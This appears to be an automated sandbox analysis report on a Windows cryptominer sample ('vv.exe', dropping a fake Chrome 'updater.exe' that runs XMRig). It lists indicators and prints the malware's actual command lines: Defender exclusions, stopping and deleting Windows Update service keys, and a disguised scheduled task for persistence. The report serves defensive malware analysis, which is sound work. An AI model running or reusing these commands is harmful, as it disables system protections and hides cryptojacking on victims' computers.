Analysis
-
max time kernel
301s -
max time network
300s -
platform
windows7_x64 -
resource
win7-20220901-en -
resource tags
arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system -
submitted
27-09-2022 05:34
Behavioral task
behavioral1
Sample
vv.exe
Resource
win7-20220901-en
General
-
Target
vv.exe
-
Size
7.9MB
-
MD5
8f76cc737082cc709dd4c9106c671ab6
-
SHA1
ba5de16d94e73b551f0c6e5d81eb8ee9d8093d11
-
SHA256
35e3c1ca2fe9cee18e79de1b02972b0d010320a54e20113b7cb2ba063690f21e
-
SHA512
b88ef3536b8af9677d189d5ed6fee9bdb0cda0e356bb4108ccf8f52211a5ac85b183f3edff3a8e723e79b6dfdce87d1450cdad5790cea35abfd283ed159f6ec2
-
SSDEEP
196608:+Al04HUfTrwa4FLxjAT0OR+xVHgbBlDmia6SMvzr:Gk3/FLxA0OR+biEmSwH
Malware Config
Signatures
-
Modifies security service 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
Processes:
vv.exeupdater.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ vv.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ updater.exe -
XMRig Miner payload 2 IoCs
Processes:
resource yara_rule behavioral1/memory/1068-164-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1068-168-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Drops file in Drivers directory 2 IoCs
Processes:
updater.exevv.exedescription ioc process File created C:\Windows\system32\drivers\etc\hosts updater.exe File created C:\Windows\system32\drivers\etc\hosts vv.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 2012 updater.exe -
Stops running service(s) 3 TTPs
-
Processes:
resource yara_rule behavioral1/memory/1068-164-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1068-168-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
vv.exeupdater.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion vv.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion vv.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion updater.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 1628 taskeng.exe -
Processes:
resource yara_rule behavioral1/memory/1184-54-0x000000013FC40000-0x0000000140B06000-memory.dmp themida behavioral1/memory/1184-55-0x000000013FC40000-0x0000000140B06000-memory.dmp themida behavioral1/memory/1184-56-0x000000013FC40000-0x0000000140B06000-memory.dmp themida behavioral1/memory/1184-58-0x000000013FC40000-0x0000000140B06000-memory.dmp themida behavioral1/memory/1184-59-0x000000013FC40000-0x0000000140B06000-memory.dmp themida behavioral1/memory/1184-61-0x000000013FC40000-0x0000000140B06000-memory.dmp themida behavioral1/memory/1184-62-0x000000013FC40000-0x0000000140B06000-memory.dmp themida behavioral1/memory/1184-99-0x000000013FC40000-0x0000000140B06000-memory.dmp themida \Program Files\Google\Chrome\updater.exe themida C:\Program Files\Google\Chrome\updater.exe themida behavioral1/memory/2012-113-0x000000013FBB0000-0x0000000140A76000-memory.dmp themida behavioral1/memory/2012-114-0x000000013FBB0000-0x0000000140A76000-memory.dmp themida behavioral1/memory/2012-115-0x000000013FBB0000-0x0000000140A76000-memory.dmp themida behavioral1/memory/2012-117-0x000000013FBB0000-0x0000000140A76000-memory.dmp themida behavioral1/memory/2012-118-0x000000013FBB0000-0x0000000140A76000-memory.dmp themida behavioral1/memory/2012-119-0x000000013FBB0000-0x0000000140A76000-memory.dmp themida behavioral1/memory/2012-159-0x000000013FBB0000-0x0000000140A76000-memory.dmp themida behavioral1/memory/2012-162-0x000000013FBB0000-0x0000000140A76000-memory.dmp themida C:\Program Files\Google\Chrome\updater.exe themida -
Processes:
vv.exeupdater.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA vv.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA updater.exe -
Drops file in System32 directory 2 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
vv.exeupdater.exepid process 1184 vv.exe 2012 updater.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 2012 set thread context of 1228 2012 updater.exe conhost.exe PID 2012 set thread context of 1068 2012 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
vv.exeupdater.execmd.execmd.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe vv.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 1936 sc.exe 1072 sc.exe 1972 sc.exe 1824 sc.exe 1788 sc.exe 980 sc.exe 636 sc.exe 1668 sc.exe 1572 sc.exe 792 sc.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies data under HKEY_USERS 3 IoCs
Processes:
powershell.exeWMIC.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 60828ced32d2d801 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.execonhost.exepid process 1720 powershell.exe 536 powershell.exe 288 powershell.exe 1712 powershell.exe 276 powershell.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe 1068 conhost.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 464 -
Suspicious use of AdjustPrivilegeToken 38 IoCs
Processes:
powershell.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowershell.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowershell.exepowercfg.exeWMIC.execonhost.exedescription pid process Token: SeDebugPrivilege 1720 powershell.exe Token: SeShutdownPrivilege 1424 powercfg.exe Token: SeDebugPrivilege 536 powershell.exe Token: SeShutdownPrivilege 1156 powercfg.exe Token: SeShutdownPrivilege 1912 powercfg.exe Token: SeShutdownPrivilege 1968 powercfg.exe Token: SeDebugPrivilege 288 powershell.exe Token: SeDebugPrivilege 1712 powershell.exe Token: SeShutdownPrivilege 616 powercfg.exe Token: SeShutdownPrivilege 1952 powercfg.exe Token: SeShutdownPrivilege 1096 powercfg.exe Token: SeDebugPrivilege 276 powershell.exe Token: SeShutdownPrivilege 1736 powercfg.exe Token: SeAssignPrimaryTokenPrivilege 968 WMIC.exe Token: SeIncreaseQuotaPrivilege 968 WMIC.exe Token: SeSecurityPrivilege 968 WMIC.exe Token: SeTakeOwnershipPrivilege 968 WMIC.exe Token: SeLoadDriverPrivilege 968 WMIC.exe Token: SeSystemtimePrivilege 968 WMIC.exe Token: SeBackupPrivilege 968 WMIC.exe Token: SeRestorePrivilege 968 WMIC.exe Token: SeShutdownPrivilege 968 WMIC.exe Token: SeSystemEnvironmentPrivilege 968 WMIC.exe Token: SeUndockPrivilege 968 WMIC.exe Token: SeManageVolumePrivilege 968 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 968 WMIC.exe Token: SeIncreaseQuotaPrivilege 968 WMIC.exe Token: SeSecurityPrivilege 968 WMIC.exe Token: SeTakeOwnershipPrivilege 968 WMIC.exe Token: SeLoadDriverPrivilege 968 WMIC.exe Token: SeSystemtimePrivilege 968 WMIC.exe Token: SeBackupPrivilege 968 WMIC.exe Token: SeRestorePrivilege 968 WMIC.exe Token: SeShutdownPrivilege 968 WMIC.exe Token: SeSystemEnvironmentPrivilege 968 WMIC.exe Token: SeUndockPrivilege 968 WMIC.exe Token: SeManageVolumePrivilege 968 WMIC.exe Token: SeLockMemoryPrivilege 1068 conhost.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
vv.execmd.execmd.exepowershell.exepowershell.exetaskeng.exedescription pid process target process PID 1184 wrote to memory of 1720 1184 vv.exe powershell.exe PID 1184 wrote to memory of 1720 1184 vv.exe powershell.exe PID 1184 wrote to memory of 1720 1184 vv.exe powershell.exe PID 1184 wrote to memory of 1328 1184 vv.exe cmd.exe PID 1184 wrote to memory of 1328 1184 vv.exe cmd.exe PID 1184 wrote to memory of 1328 1184 vv.exe cmd.exe PID 1184 wrote to memory of 2016 1184 vv.exe cmd.exe PID 1184 wrote to memory of 2016 1184 vv.exe cmd.exe PID 1184 wrote to memory of 2016 1184 vv.exe cmd.exe PID 1184 wrote to memory of 536 1184 vv.exe powershell.exe PID 1184 wrote to memory of 536 1184 vv.exe powershell.exe PID 1184 wrote to memory of 536 1184 vv.exe powershell.exe PID 1328 wrote to memory of 636 1328 cmd.exe sc.exe PID 1328 wrote to memory of 636 1328 cmd.exe sc.exe PID 1328 wrote to memory of 636 1328 cmd.exe sc.exe PID 1328 wrote to memory of 1936 1328 cmd.exe sc.exe PID 1328 wrote to memory of 1936 1328 cmd.exe sc.exe PID 1328 wrote to memory of 1936 1328 cmd.exe sc.exe PID 2016 wrote to memory of 1424 2016 cmd.exe powercfg.exe PID 2016 wrote to memory of 1424 2016 cmd.exe powercfg.exe PID 2016 wrote to memory of 1424 2016 cmd.exe powercfg.exe PID 1328 wrote to memory of 792 1328 cmd.exe sc.exe PID 1328 wrote to memory of 792 1328 cmd.exe sc.exe PID 1328 wrote to memory of 792 1328 cmd.exe sc.exe PID 1328 wrote to memory of 1072 1328 cmd.exe sc.exe PID 1328 wrote to memory of 1072 1328 cmd.exe sc.exe PID 1328 wrote to memory of 1072 1328 cmd.exe sc.exe PID 2016 wrote to memory of 1156 2016 cmd.exe powercfg.exe PID 2016 wrote to memory of 1156 2016 cmd.exe powercfg.exe PID 2016 wrote to memory of 1156 2016 cmd.exe powercfg.exe PID 1328 wrote to memory of 1668 1328 cmd.exe sc.exe PID 1328 wrote to memory of 1668 1328 cmd.exe sc.exe PID 1328 wrote to memory of 1668 1328 cmd.exe sc.exe PID 1328 wrote to memory of 1520 1328 cmd.exe reg.exe PID 1328 wrote to memory of 1520 1328 cmd.exe reg.exe PID 1328 wrote to memory of 1520 1328 cmd.exe reg.exe PID 2016 wrote to memory of 1912 2016 cmd.exe powercfg.exe PID 2016 wrote to memory of 1912 2016 cmd.exe powercfg.exe PID 2016 wrote to memory of 1912 2016 cmd.exe powercfg.exe PID 2016 wrote to memory of 1968 2016 cmd.exe powercfg.exe PID 2016 wrote to memory of 1968 2016 cmd.exe powercfg.exe PID 2016 wrote to memory of 1968 2016 cmd.exe powercfg.exe PID 536 wrote to memory of 1896 536 powershell.exe schtasks.exe PID 536 wrote to memory of 1896 536 powershell.exe schtasks.exe PID 536 wrote to memory of 1896 536 powershell.exe schtasks.exe PID 1328 wrote to memory of 1824 1328 cmd.exe reg.exe PID 1328 wrote to memory of 1824 1328 cmd.exe reg.exe PID 1328 wrote to memory of 1824 1328 cmd.exe reg.exe PID 1328 wrote to memory of 1640 1328 cmd.exe reg.exe PID 1328 wrote to memory of 1640 1328 cmd.exe reg.exe PID 1328 wrote to memory of 1640 1328 cmd.exe reg.exe PID 1328 wrote to memory of 1260 1328 cmd.exe reg.exe PID 1328 wrote to memory of 1260 1328 cmd.exe reg.exe PID 1328 wrote to memory of 1260 1328 cmd.exe reg.exe PID 1328 wrote to memory of 1572 1328 cmd.exe reg.exe PID 1328 wrote to memory of 1572 1328 cmd.exe reg.exe PID 1328 wrote to memory of 1572 1328 cmd.exe reg.exe PID 1184 wrote to memory of 288 1184 vv.exe powershell.exe PID 1184 wrote to memory of 288 1184 vv.exe powershell.exe PID 1184 wrote to memory of 288 1184 vv.exe powershell.exe PID 288 wrote to memory of 836 288 powershell.exe schtasks.exe PID 288 wrote to memory of 836 288 powershell.exe schtasks.exe PID 288 wrote to memory of 836 288 powershell.exe schtasks.exe PID 1628 wrote to memory of 2012 1628 taskeng.exe updater.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\vv.exe"C:\Users\Admin\AppData\Local\Temp\vv.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.execmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop bits3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
-
C:\Windows\system32\cmd.execmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#qauvexd#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#ceflnjkax#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵
-
C:\Windows\system32\taskeng.exetaskeng.exe {0A9FC149-9C9B-4256-ABD7-47DA98FD586A} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.execmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
-
C:\Windows\system32\sc.exesc stop UsoSvc4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop wuauserv4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop bits4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop dosvc4⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f4⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f4⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f4⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f4⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f4⤵
-
C:\Windows\system32\cmd.execmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 03⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#qauvexd#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }3⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"4⤵
- Creates scheduled task(s)
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe dyaqxbmsoinnnm3⤵
-
C:\Windows\system32\cmd.execmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"4⤵
- Drops file in Program Files directory
-
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor5⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.execmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"3⤵
- Drops file in Program Files directory
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe ugxlnakznvqhxgmt GoySvqjslEz2cJjLp/l+rjzn6ce4jALjhSdARaKlIdOzscb8uSA4DC45OD1DpPEqiKy9RognxgdgL26xl6pHcgBuSDH82m22H2uTx/gYzO827+5kpstbfmCCWwx/haNMZTpvRN2AWJn3nj807NkQH/uc5YsiTBf742xyjDXcUT/RYfnhcLyzybIWgXn+7JafUmbaP5sh35EaxsiGFShuRY1L5Fi1uvVZnjU0an3bePXHEXYChHiocVdekR4gVKAc85wY8WomQkvNXfo8OnI8G68t0jyGDhrkDKs7kWaJz2DMj5MokwVvSUi2Y2TsrAP/8HOYVji2aTn31s7dz3/WlCN+UmM7HFUgStV0krKswFnOvNVFJHtjMrdLvilnrbVN4TalQD/4emuEzW66JneW1mD4z/F1I8voeixdh9ABkSX5OmiklgByXQ8r/0t6T+lh3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files\Google\Chrome\updater.exeFilesize
7.9MB
MD54219fd31abeed331b5459aded2b24a39
SHA1acbd8bcdff673b3dceffa7ae26c462ee5e030a70
SHA25618f3a9fc3b3fe7123e424941cae2c9d731f189db686c46e7a484579c69aef62d
SHA512e08340590aa827875b4b479018a1170d176df4b52e08ceebb55337707990993fe954cfa1b79d91ca84e6628ade8c19a874d94a51274a68d60254a63297a71173
-
C:\Program Files\Google\Chrome\updater.exeFilesize
7.9MB
MD54219fd31abeed331b5459aded2b24a39
SHA1acbd8bcdff673b3dceffa7ae26c462ee5e030a70
SHA25618f3a9fc3b3fe7123e424941cae2c9d731f189db686c46e7a484579c69aef62d
SHA512e08340590aa827875b4b479018a1170d176df4b52e08ceebb55337707990993fe954cfa1b79d91ca84e6628ade8c19a874d94a51274a68d60254a63297a71173
-
C:\Program Files\Google\Libs\g.logFilesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD547aa276d1047623f89451f735fd0c47a
SHA1defb9bbbb251300d2ee36294de0d7dbbfccd732a
SHA2568593e64af2f01580ae6ad937bde4d68b6e6344c87786f066b33320e8ffe191a7
SHA5127ef7b3ffbe91a1d57067b96720fd296119df8c4bda11b46ad5238647f894fc7c4e4be008fb52c509cd5db298643f5b6214cf10a65ec146c249dd901afeb59912
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD547aa276d1047623f89451f735fd0c47a
SHA1defb9bbbb251300d2ee36294de0d7dbbfccd732a
SHA2568593e64af2f01580ae6ad937bde4d68b6e6344c87786f066b33320e8ffe191a7
SHA5127ef7b3ffbe91a1d57067b96720fd296119df8c4bda11b46ad5238647f894fc7c4e4be008fb52c509cd5db298643f5b6214cf10a65ec146c249dd901afeb59912
-
C:\Windows\system32\drivers\etc\hostsFilesize
2KB
MD55181de35873b0f0d65edaf102f8051ac
SHA1daf6fcb468b38ba5209ee5ff76a36f784cdfe01b
SHA256cd5a77a637ece06d063699ce51973e0f79627068d3e587af38912c3c96476990
SHA5122d75a6b435d7b170e93bf6d12428d665ec0cdc607e1a3a712c5e6b1657df783466bda89c4f3577b9d8fe790607cc5795820fcd0a175f1746d1fe33c9906fb825
-
\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
\Program Files\Google\Chrome\updater.exeFilesize
7.9MB
MD54219fd31abeed331b5459aded2b24a39
SHA1acbd8bcdff673b3dceffa7ae26c462ee5e030a70
SHA25618f3a9fc3b3fe7123e424941cae2c9d731f189db686c46e7a484579c69aef62d
SHA512e08340590aa827875b4b479018a1170d176df4b52e08ceebb55337707990993fe954cfa1b79d91ca84e6628ade8c19a874d94a51274a68d60254a63297a71173
-
memory/276-143-0x000000000130B000-0x000000000132A000-memory.dmpFilesize
124KB
-
memory/276-152-0x000000000130B000-0x000000000132A000-memory.dmpFilesize
124KB
-
memory/276-131-0x0000000000000000-mapping.dmp
-
